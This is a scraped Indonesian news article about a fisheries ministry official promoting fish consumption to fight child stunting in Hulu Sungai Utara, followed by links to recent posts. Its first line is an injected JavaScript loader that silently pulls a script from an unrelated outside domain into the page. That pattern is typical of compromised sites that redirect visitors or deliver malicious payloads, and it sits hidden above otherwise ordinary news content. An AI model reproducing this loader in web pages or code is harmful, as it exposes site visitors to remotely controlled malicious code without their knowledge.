(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Stunting Masih Tinggi, Konsumsi Makan Ikan Harus Terus Ditingkatkan


AMUNTAI, Kementerian Kelautan dan Perikanan (KKP) terus mendorong masyarakat meningkatkan konsumsi ikan dalam keluarga, serta monitoring langsung ke daerah yang dinilai masih tinggi angka stunting.

Demikian ungkap Dede Gilang Septarina, Kasi Promosi Dalam Negeri Direktorat Pemasaran Dirjen PDSPKP, di sela-sela kegiatan safari Gemarikan di hadapan para ibu di desa Simpang Empat, Kecamatan Amuntai Selatan, Kabupaten HSU, Senin (8/7).

Lebih lanjut, dirinya berujar dipilihnya Kabupaten HSU untuk program safari Gemarikan dari 32 kabupaten/kota di Indonesia, karena angka stunting masih tinggi.

Ia mengkritisi, sumber daya perikanan di Kabupaten HSU yang terbilang sangat besar, nilai konsumsi cukup besar pula  yakni 48 Kg perkapita pertahun, begitu pula tingkat provinsi Kalsel hampir 50 Kg perkapita pertahun, tapi masih ada angka stunting.

Oleh karenanya, dirinya menilai ada pola asuh yang perlu ditinjau kembali agar berkesesuaian antara nilai tersebut dengan hasilnya, yaitu stunting yang tidak ada lagi.

“Selama peninjauan ke beberapa daerah di Indonesia, yang menjadi kendala selama ini diantaranya mengenai laporan data valid yang terbilang lamban, berapa jumlah target, berapa ibu hamil, sehingga susah untuk dijadikan dasar untuk bergeraknya  program kami,” kata Gilang Septarina.

Dirinya mengimbau kepada para ibu agar dapat berenovasi dalam mengolah makanan yang berbahan ikan sehingga dapat menghasilkan bermacam-macam varian menu ditambah dapat didapatkan meningkatkan ekonomi jika produk olahan ikan tersebut dipasarkan

Ditambahkan, adapun kegiatan safari Gemarikan ini sebagai implementasi dari instruksi presiden nomor 1 tahun 2017 tentang Gerakan Masyarakat Hidup Sehat (Germas) dengan dukungan KKP yakni program Gemar Makan Ikan (Gemarikan).

“Dengan kami punya motto Indonesia harus bebas stunting tahun 2025,” tandasnya. (dew)

Reporter:Dew
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.